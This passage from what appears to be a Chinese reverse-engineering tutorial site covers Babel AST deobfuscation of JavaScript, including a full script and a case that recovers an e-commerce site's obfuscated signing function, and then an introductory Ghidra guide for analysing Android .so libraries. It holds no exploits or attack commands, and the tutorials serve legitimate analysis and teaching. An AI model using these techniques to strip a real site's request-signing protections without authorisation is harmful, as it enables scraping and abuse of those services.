工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#23-字符串数组还原"},{"categories":null,"collections":null,"content":"2.4 控制流平坦化还原 问题: 混淆器把代码变成一个大的 switch-case 混淆代码: let _state = 0; while (true) { switch (_state) { case 0: console.log(\"step 1\"); _state = 1; break; case 1: console.log(\"step 2\"); _state = 2; break; case 2: console.log(\"step 3\"); return; } } 解决方案: (复杂，需要符号执行) // 简化版：提取顺序执行的 case traverse(ast, { WhileStatement(path) { const body = path.node.body; // 检查是否是 switch 语句 if (t.isSwitchStatement(body.body[0])) { const switchNode = body.body[0]; const cases = switchNode.cases; // 按 case 值排序 const sortedCases = cases.sort((a, b) =\u003e { return a.test.value - b.test.value; }); // 提取所有 case 的 body（去除 break） const statements = sortedCases.flatMap((c) =\u003e { return c.consequent.filter((s) =\u003e !t.isBreakStatement(s)); }); // 替换整个 while 语句 path.replaceWithMultiple(statements); } }, }); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:3:4","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#24-控制流平坦化还原"},{"categories":null,"collections":null,"content":"2.5 标识符重命名 问题: 混淆器把所有变量名改成 _0x1a2b, a, b, c 解决方案: 重命名为有意义的名字 let counter = 0; traverse(ast, { Scope(path) { // 遍历作用域中的所有绑定 Object.keys(path.scope.bindings).forEach((name) =\u003e { // 如果是混淆的名字（短或十六进制） if (name.match(/^[a-z]$|^_0x[0-9a-f]+$/i)) { const newName = `var_${counter++}`; path.scope.rename(name, newName); } }); }, }); 示例: // 混淆前 function a(b, c) { return b + c; } // 反混淆后 function var_0(var_1, var_2) { return var_1 + var_2; } ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:3:5","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#25-标识符重命名"},{"categories":null,"collections":null,"content":"3. 进阶技巧 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:4:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#3-进阶技巧"},{"categories":null,"collections":null,"content":"3.1 自定义 Visitor Visitor 模式: Babel 使用访问者模式遍历 AST const visitor = { // 进入节点时调用 enter(path) { console.log(\"进入:\", path.type); }, // 离开节点时调用 exit(path) { console.log(\"离开:\", path.type); }, // 针对特定节点类型 FunctionDeclaration(path) { console.log(\"找到函数:\", path.node.id.name); }, // 简写形式（只有 enter） CallExpression(path) { console.log(\"函数调用:\", path.node.callee.name); }, }; traverse(ast, visitor); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:4:1","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#31-自定义-visitor"},{"categories":null,"collections":null,"content":"3.2 Path 对象常用方法 方法 作用 示例 path.node 获取当前 AST 节点 path.node.id.name path.parent 获取父节点 path.parent path.scope 获取作用域信息 path.scope.bindings path.get('key') 获取子路径 path.get('params.0') path.replaceWith(node) 替换节点 path.replaceWith(t.numericLiteral(123)) path.remove() 删除节点 path.remove() path.insertBefore(node) 在前面插入节点 path.insertBefore(t.expressionStatement(...)) path.insertAfter(node) 在后面插入节点 path.insertAfter(t.expressionStatement(...)) path.evaluate() 尝试求值 const result = path.evaluate() ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:4:2","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#32-path-对象常用方法"},{"categories":null,"collections":null,"content":"3.3 Scope 作用域分析 查找变量绑定: traverse(ast, { FunctionDeclaration(path) { const funcName = path.node.id.name; // 获取函数作用域 const scope = path.scope; // 查找变量绑定 const binding = scope.getBinding(\"someVariable\"); if (binding) { console.log(\"变量定义于:\", binding.path.node.loc); console.log(\"引用次数:\", binding.references); console.log(\"是否被引用:\", binding.referenced); } }, }); 重命名变量（包括所有引用）: traverse(ast, { Identifier(path) { if (path.node.name === \"oldName\") { path.scope.rename(\"oldName\", \"newName\"); } }, }); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:4:3","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#33-scope-作用域分析"},{"categories":null,"collections":null,"content":"3.4 类型检查与创建 检查节点类型: if (t.isIdentifier(node)) { console.log(\"这是一个标识符\"); } if (t.isIdentifier(node, { name: \"foo\" })) { console.log(\"这是名为 foo 的标识符\"); } if (t.isFunctionDeclaration(node)) { console.log(\"这是一个函数声明\"); } 创建新节点: // 创建数字字面量 const num = t.numericLiteral(123); // 创建字符串字面量 const str = t.stringLiteral(\"hello\"); // 创建标识符 const id = t.identifier(\"myVar\"); // 创建函数调用 const call = t.callExpression(t.identifier(\"console.log\"), [ t.stringLiteral(\"hello\"), ]); // 创建变量声明 const varDecl = t.variableDeclaration(\"const\", [ t.variableDeclarator(t.identifier(\"x\"), t.numericLiteral(10)), ]); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:4:4","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#34-类型检查与创建"},{"categories":null,"collections":null,"content":"4. 完整反混淆脚本示例 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:5:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#4-完整反混淆脚本示例"},{"categories":null,"collections":null,"content":"4.1 针对 javascript-obfuscator const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generator = require(\"@babel/generator\").default; const t = require(\"@babel/types\"); const fs = require(\"fs\"); // 读取混淆代码 const code = fs.readFileSync(\"obfuscated.js\", \"utf-8\"); const ast = parser.parse(code); // ========== 步骤 1: 常量折叠 ========== traverse(ast, { BinaryExpression(path) { const result = path.evaluate(); if (result.confident) { path.replaceWith(t.valueToNode(result.value)); } }, }); // ========== 步骤 2: 字符串数组还原 ========== let stringArray = null; // 提取字符串数组 traverse(ast, { VariableDeclarator(path) { if ( t.isArrayExpression(path.node.init) \u0026\u0026 path.node.init.elements.every((e) =\u003e t.isStringLiteral(e)) ) { stringArray = path.node.init.elements.map((e) =\u003e e.value); console.log(`[字符串数组] 找到 ${stringArray.length} 个字符串`); // 记录数组名 const arrayName = path.node.id.name; // 替换所有引用 path.scope.traverse(path.scope.block, { MemberExpression(innerPath) { if ( t.isIdentifier(innerPath.node.object, { name: arrayName }) \u0026\u0026 t.isNumericLiteral(innerPath.node.property) ) { const index = innerPath.node.property.value; if (index \u003c stringArray.length) { innerPath.replaceWith(t.stringLiteral(stringArray[index])); } } }, }); // 删除数组定义 path.remove(); } }, }); // ========== 步骤 3: 死代码消除 ========== traverse(ast, { IfStatement(path) { const test = path.get(\"test\").evaluate(); if (test.confident) { if (test.value) { path.replaceWithMultiple(path.node.consequent.body); } else { if (path.node.alternate) { path.replaceWithMultiple(path.node.alternate.body); } else { path.remove(); } } } }, }); // ========== 步骤 4: 删除未使用的变量 ========== traverse(ast, { VariableDeclarator(path) { const binding = path.scope.getBinding(path.node.id.name); if (binding \u0026\u0026 !binding.referenced) { console.log(`[删除] 未使用的变量: ${path.node.id.name}`); path.remove(); } }, }); // ========== 步骤 5: 函数调用内联 (简单情况) ========== traverse(ast, { CallExpression(path) { // 如果调用的是 IIFE（立即执行函数） if ( t.isFunctionExpression(path.node.callee) \u0026\u0026 path.node.callee.params.length === 0 ) { // 替换为函数体 const body = path.node.callee.body.body; if (body.length === 1 \u0026\u0026 t.isReturnStatement(body[0])) { path.replaceWith(body[0].argument); } } }, }); // 生成代码 const output = generator(ast, { jsescOption: { minimal: true }, compact: false, // 不压缩 comments: false, // 去除注释 }); fs.writeFileSync(\"deobfuscated.js\", output.code); console.log(\"\\n反混淆完成！输出文件: deobfuscated.js\"); console.log(`源代码: ${code.length} 字符`); console.log(`反混淆后: ${output.code.length} 字符`); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:5:1","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#41-针对-javascript-obfuscator"},{"categories":null,"collections":null,"content":"4.2 性能优化 问题: AST 遍历很慢，尤其是大文件 解决方案 1: 单次遍历 // ❌ 慢（多次遍历） traverse(ast, { BinaryExpression() {} }); traverse(ast, { IfStatement() {} }); traverse(ast, { CallExpression() {} }); // ✅ 快（单次遍历） traverse(ast, { BinaryExpression() {}, IfStatement() {}, CallExpression() {}, }); 解决方案 2: 提前退出 traverse(ast, { FunctionDeclaration(path) { if (path.node.id.name === \"targetFunction\") { // 找到目标函数，停止遍历 path.stop(); } }, }); 解决方案 3: 限制遍历深度 traverse(ast, { enter(path) { // 只遍历第一层 if (path.node.loc.start.line \u003e 100) { path.skip(); // 跳过子节点 } }, }); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:5:2","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#42-性能优化"},{"categories":null,"collections":null,"content":"5. AST Explorer (在线工具) 网址: https://astexplorer.net/ 功能: 实时查看代码的 AST 结构 支持多种语言（JavaScript, TypeScript, JSX, etc.） 支持多种解析器（Babel, Acorn, Esprima, etc.） 实时编写和测试转换插件 使用步骤: 访问 astexplorer.net 左侧输入 JavaScript 代码 右侧自动显示 AST 结构 点击节点查看详细信息 在 Transform 标签页编写 Babel 插件测试 示例: 输入: const x = 1 + 2; AST 输出（简化）: ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:6:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#5-ast-explorer-在线工具"},{"categories":null,"collections":null,"content":"6. 实战案例 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:7:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#6-实战案例"},{"categories":null,"collections":null,"content":"案例 1：某电商网站的签名算法 目标: 还原混淆的签名函数 混淆代码 (简化版): const _0x1234 = [\"sign\", \"md5\", \"timestamp\"]; function _0xabcd(a, b) { return _0x1234[0] + a + _0x1234[2] + b; } 反混淆脚本: // (使用前面的完整脚本) 反混淆后: function _0xabcd(a, b) { return \"sign\" + a + \"timestamp\" + b; } 手动简化: function generateSignString(user_id, timestamp) { return \"sign\" + user_id + \"timestamp\" + timestamp; } ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:7:1","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#案例-1某电商网站的签名算法"},{"categories":null,"collections":null,"content":"案例 2：控制流平坦化还原 混淆代码: let _state = \"init\"; while (_state !== \"end\") { switch (_state) { case \"init\": console.log(\"Start\"); _state = \"middle\"; break; case \"middle\": console.log(\"Process\"); _state = \"end\"; break; } } 反混淆脚本: (使用前面的控制流平坦化还原代码) 反混淆后: console.log(\"Start\"); console.log(\"Process\"); ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:7:2","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#案例-2控制流平坦化还原"},{"categories":null,"collections":null,"content":"7. 常见 AST 节点类型 类型 说明 示例代码 Program 整个程序 整个 JS 文件 FunctionDeclaration 函数声明 function foo() {} VariableDeclaration 变量声明 const x = 1; ExpressionStatement 表达式语句 console.log(); CallExpression 函数调用 foo() BinaryExpression 二元表达式 1 + 2 Identifier 标识符 foo, x NumericLiteral 数字字面量 123 StringLiteral 字符串字面量 'hello' ArrayExpression 数组表达式 [1, 2, 3] ObjectExpression 对象表达式 {a: 1, b: 2} MemberExpression 成员访问 obj.prop, arr[0] IfStatement if 语句 if (x) {...} WhileStatement while 循环 while (true) {...} ForStatement for 循环 for (;;) {...} ReturnStatement return 语句 return x; ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:8:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#7-常见-ast-节点类型"},{"categories":null,"collections":null,"content":"8. 工具与资源 资源 类型 链接 AST Explorer 在线工具 https://astexplorer.net/ Babel 文档 官方文档 https://babeljs.io/docs/ Babel Handbook 深度教程 https://github.com/jamiebuilds/babel-handbook jsjiami 还原 开源工具 GitHub: javascript-obfuscator-deobfuscator webcrack Webpack 反打包 https://github.com/j4k0xb/webcrack de4js 在线反混淆 https://lelinhtinh.github.io/de4js/ ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:9:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#8-工具与资源"},{"categories":null,"collections":null,"content":"总结 AST 是对抗高阶混淆的终极手段。掌握以下技能： ✅ Babel 工作流: parse → traverse → generate ✅ 常用转换: 常量折叠、死代码消除、字符串数组还原 ✅ Visitor 模式: 理解如何遍历和修改 AST ✅ Path 和 Scope: 掌握路径操作和作用域分析 ✅ 类型系统: 使用 @babel/types 创建和检查节点 ✅ 性能优化: 单次遍历、提前退出、限制深度 记住: AST 虽然学习曲线陡峭，但一旦掌握，你就能像外科手术一样精确地剔除代码中的\"毒瘤\"。 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:10:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#总结"},{"categories":null,"collections":null,"content":"相关章节 JavaScript 反混淆 动态参数分析 Node.js 调试指南 浏览器开发者工具 ","date":"2024-09-30","objectID":"/reverse_engineering/web/02-tooling/ast_tools/:11:0","tags":["Web","签名验证","电商","抓包","DevTools","DEX"],"title":"AST (抽象语法树) 工具","uri":"/reverse_engineering/web/02-tooling/ast_tools/#相关章节"},{"categories":null,"collections":null,"content":"Ghidra 入门 Ghidra 是由美国国家安全局 (NSA) 开发并开源的一款软件逆向工程 (SRE) 套件。它以功能全面、免费开源、跨平台等特性，迅速成为 IDA Pro 之外逆向工程师们的另一个重要选择，尤其在学术界和独立研究者中广受欢迎。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:0:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra-入门"},{"categories":null,"collections":null,"content":"核心特性 强大的反编译器 (Decompiler): 这是 Ghidra 的王牌功能。它内置了一个高质量的、支持多种处理器架构的免费反编译器，能够将汇编代码转换为类似 C/C++ 的高级语言伪代码，极大地提高了代码理解效率。 全面的分析能力: 支持对多种平台的可执行文件进行反汇编、分析、反编译、图表绘制和脚本化，包括 Windows, macOS, Linux, Android, iOS 等。 强大的脚本引擎: 内置对 Java 和 Python (通过 Jython) 的支持，允许用户编写复杂的脚本来自动化分析任务，从简单的重命名到复杂的漏洞模式匹配。 交互式与自动化操作: 既支持像 IDA Pro 那样的交互式手动分析，也提供了强大的\"无头分析器\"(Headless Analyzer)，可以通过命令行进行批量、自动化的分析。 多用户协作: Ghidra Server 组件支持多名分析师对同一个二进制文件进行协同逆向，并能方便地进行版本追踪和合并。 可扩展性: 用户可以自定义和扩展 Ghidra 的功能，包括编写新的处理器模块、加载器和分析器插件。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:1:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#核心特性"},{"categories":null,"collections":null,"content":"Ghidra vs. IDA Pro vs. Radare2 特性 Ghidra IDA Pro Radare2 价格 完全免费 非常昂贵 完全免费 开源 是 (Java) 否 是 (C) 核心优势 高质量的免费反编译器 最强的交互式反汇编 极致的脚本化和命令行 UI Java Swing，功能强大但略显笨重 Qt，业界标准，成熟稳定 命令行，或通过 Cutter 提供 GUI 自动化 强大的 Headless 模式和脚本 主要通过 IDC/IDAPython 脚本 设计哲学核心，自动化能力极强 协作 内置 Ghidra Server 支持 第三方插件 (如 BinSync) 脚本化协作，或通过第三方工具 学习曲线 中等，UI 直观 中等，功能繁多 非常陡峭，命令繁杂 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:2:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#ghidra-vs-ida-pro-vs-radare2"},{"categories":null,"collections":null,"content":"安装与配置 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:3:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#安装与配置"},{"categories":null,"collections":null,"content":"JDK 版本要求 Ghidra 是基于 Java 开发的应用程序，运行前必须安装对应版本的 JDK。各版本对应关系如下： Ghidra 版本 最低 JDK 版本 推荐 JDK 10.x JDK 11 Amazon Corretto 11 11.0 - 11.1 JDK 17 Amazon Corretto 17 11.2+ JDK 21 Amazon Corretto 21 提示: 推荐使用 Amazon Corretto 或 Eclipse Adoptium (Temurin) 发行版，它们经过验证与 Ghidra 兼容良好。避免使用 Oracle JDK 的付费许可证，开源 JDK 完全够用。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:3:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#jdk-版本要求"},{"categories":null,"collections":null,"content":"安装步骤 安装 JDK: 下载并安装对应版本的 JDK，确保 JAVA_HOME 环境变量已正确设置。 # macOS / Linux 验证 JDK 版本 java -version # 应输出: openjdk version \"21.x.x\" 或类似 # 设置 JAVA_HOME (以 zsh 为例) export JAVA_HOME=$(/usr/libexec/java_home -v 21) 下载 Ghidra: 从 Ghidra 官方 GitHub 下载最新的稳定版 ZIP 包。 解压运行: # 解压 unzip ghidra_11.2_PUBLIC_20241105.zip -d ~/tools/ # 运行 # Windows: 双击 ghidraRun.bat # Linux / macOS: cd ~/tools/ghidra_11.2_PUBLIC ./ghidraRun ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:3:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#安装步骤"},{"categories":null,"collections":null,"content":"内存配置优化 分析大型 Android SO 文件时，Ghidra 默认内存设置常常不够用。修改启动配置文件提升堆内存： # 编辑 support/launch.properties # 找到以下行并修改 MAXMEM=2G # 改为 (根据你的机器内存调整) MAXMEM=8G 对于更精细的控制，可以修改 support/launch.properties 中的 JVM 参数： # 推荐的 JVM 配置 (16GB 物理内存的机器) VMARGS=-XX:+UseG1GC -XX:MaxGCPauseMillis=200 MAXMEM=8G 项目组织建议: 每个 APK 或目标应用创建一个独立的 Ghidra 项目，将相关的所有 SO 文件导入同一个项目中，方便交叉引用分析。共享的数据类型归档 (.gdt 文件) 可以在多个项目之间复用。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:3:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#内存配置优化"},{"categories":null,"collections":null,"content":"暗色主题配置 Ghidra 的默认亮色主题长时间使用比较刺眼。从 Ghidra 11.0 开始内置了主题支持： 进入 Edit -\u003e Theme -\u003e Switch Theme... 选择内置的暗色主题 对于旧版本，可以安装社区 Ghidra-dark-theme 插件 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:3:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#暗色主题配置"},{"categories":null,"collections":null,"content":"基本工作流程 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:4:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#基本工作流程"},{"categories":null,"collections":null,"content":"1. 创建项目 File -\u003e New Project... 选择 Non-Shared Project (单用户项目)。 指定项目路径和名称。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:4:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#1-创建项目"},{"categories":null,"collections":null,"content":"2. 导入文件 File -\u003e Import File... 选择你想要分析的二进制文件 (如 .exe, .dll, .so, .apk)。 Ghidra 会自动识别文件格式、处理器架构等，直接点击 OK。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:4:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#2-导入文件"},{"categories":null,"collections":null,"content":"3. 分析文件 在弹出的分析选项框中，保留默认勾选的分析器即可，点击 Analyze。 Ghidra 会开始对文件进行自动分析，这可能需要一些时间，取决于文件大小和复杂度。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:4:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#3-分析文件"},{"categories":null,"collections":null,"content":"4. 开始探索 分析完成后，双击项目窗口中的文件名，打开 Ghidra 的核心工具 Code Browser。 现在你可以开始你的逆向之旅了！ ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:4:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#4-开始探索"},{"categories":null,"collections":null,"content":"关键视图与操作 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#关键视图与操作"},{"categories":null,"collections":null,"content":"Code Browser (代码浏览器) 这是 Ghidra 的主界面，通常包含以下几个核心子窗口： Listing (清单/反汇编窗口): 左侧显示反汇编代码，是分析的主要区域。 Functions (函数窗口): 左下角，列出所有已识别的函数。点击函数名可以在反汇编窗口中跳转。 Program Trees (程序树): 左上角，以树状结构展示程序的段 (sections)。 Code Browser 的整体布局：左侧面板包含 Program Trees、Symbol Tree 和 Data Type Manager；中间为 Listing (反汇编窗口)；右侧为 Decompiler (反编译器)；底部为 Console (控制台输出)。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#code-browser-代码浏览器"},{"categories":null,"collections":null,"content":"常用快捷键速查 快捷键 功能 说明 G Go to Address 跳转到指定地址 L Rename (Label) 重命名函数/变量/标签 T Set Data Type 修改变量或参数的数据类型 Ctrl+E Edit Function Signature 编辑函数签名 (返回值、参数) Ctrl+L Retype Variable 在反编译窗口中修改变量类型 ; Set Comment 在当前行添加注释 / Set Comment (Decompiler) 在反编译窗口添加注释 X Show References (Xrefs) 查看对当前符号的所有交叉引用 Ctrl+Shift+F Search Memory 在整个程序内存中搜索字符串或字节 D Disassemble 将数据强制转换为代码 P Create Function 在当前地址创建函数 Space Toggle Listing/Graph 在反汇编列表和函数图之间切换 Ctrl+T Show Data Type Chooser 快速选择数据类型 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#常用快捷键速查"},{"categories":null,"collections":null,"content":"Decompiler (反编译器) 通常位于反汇编窗口的右侧。 它会自动显示当前光标所在函数的 C 伪代码。 这是 Ghidra 最有价值的窗口。你可以直接在伪代码中对变量、函数进行重命名、修改类型，这些改动会双向同步到反汇编窗口。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#decompiler-反编译器"},{"categories":null,"collections":null,"content":"Function Graph (函数图) Function Graph 以控制流图 (CFG) 的方式展示函数结构，非常适合理解复杂的分支逻辑： 在 Listing 窗口中按 Space 键可以切换到函数图视图 也可以通过 Window -\u003e Function Graph 打开独立窗口 支持缩放、拖动、折叠基本块 绿色边表示条件为真 (taken branch)，红色边表示条件为假 (fall-through) ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#function-graph-函数图"},{"categories":null,"collections":null,"content":"Symbol Tree (符号树) 位于左侧，Functions 窗口旁边。 它以树状结构列出了程序中所有的符号，包括函数、标签、导入/导出函数等。你可以通过过滤器快速查找特定函数。 在 Symbol Tree 的过滤框中输入关键词即可实时过滤，例如输入 JNI 即可快速定位所有 JNI 相关函数。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#symbol-tree-符号树"},{"categories":null,"collections":null,"content":"Data Type Manager (数据类型管理器) 左下角，Functions 窗口下方。 这里管理着程序中所有的数据类型 (struct, union, enum 等)。你可以创建、修改、导入和导出数据类型定义。这对于分析复杂的数据结构至关重要。 右键可以创建新的结构体，也可以从 C 头文件 (Parse C Source) 批量导入类型定义。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:5:6","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#data-type-manager-数据类型管理器"},{"categories":null,"collections":null,"content":"Android SO 分析实战 💡 思路一句话: Ghidra 的优势是免费+开源+强大的反编译器 — 加载 SO 后同样从 Exports 和 Strings 入手，用 Decompiler 窗口阅读伪代码，用 Script Manager 编写自动化分析脚本。 Android 应用中的 Native 层代码以 .so 共享库的形式存在，通常编译为 ARM 或 ARM64 架构。使用 Ghidra 分析这类文件是 Android 逆向中最常见的场景之一。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:6:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#android-so-分析实战"},{"categories":null,"collections":null,"content":"提取 SO 文件 首先需要从 APK 中提取目标 SO 文件： # APK 本质是 ZIP 包，直接解压即可 unzip target_app.apk -d target_app_extracted/ # SO 文件通常位于 lib/ 目录下 ls target_app_extracted/lib/ # arm64-v8a/ armeabi-v7a/ x86/ x86_64/ # 优先分析 arm64-v8a (64位 ARM，现代设备主流) ls target_app_extracted/lib/arm64-v8a/ # libnative-lib.so libsecurity.so ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:6:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#提取-so-文件"},{"categories":null,"collections":null,"content":"导入 SO 文件与处理器选择 将 SO 文件导入 Ghidra 时，需要注意处理器选项： File -\u003e Import File... 选择目标 SO 文件 Ghidra 通常能自动识别 ELF 格式和 ARM 架构 确认导入对话框中的设置： 字段 arm64-v8a armeabi-v7a Format ELF (Executable and Linkable Format) ELF Language AARCH64:LE:64:v8A ARM:LE:32:v8 Compiler default default 重要: 如果 Ghidra 自动识别错误（偶尔发生在被加壳或修改的 SO 中），需要手动选择正确的处理器架构，否则反汇编结果会完全错误。 ","date":"2024-09-27","objectID":"/reverse_engineering/android/02-tools/static/ghidra_guide/:6:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Ghidra 入门","uri":"/reverse_engineering/android/02-tools/static/ghidra_guide/#导入-so-文件与处理器选择"},{"categories":null,"collections":null,"content":"自动分析选项 导入后的自动分析对话框中，针对 Android SO 建议开启以下分析器： Demangler GNU - 还原 C++ 符号名称（必开） Function Start Search - 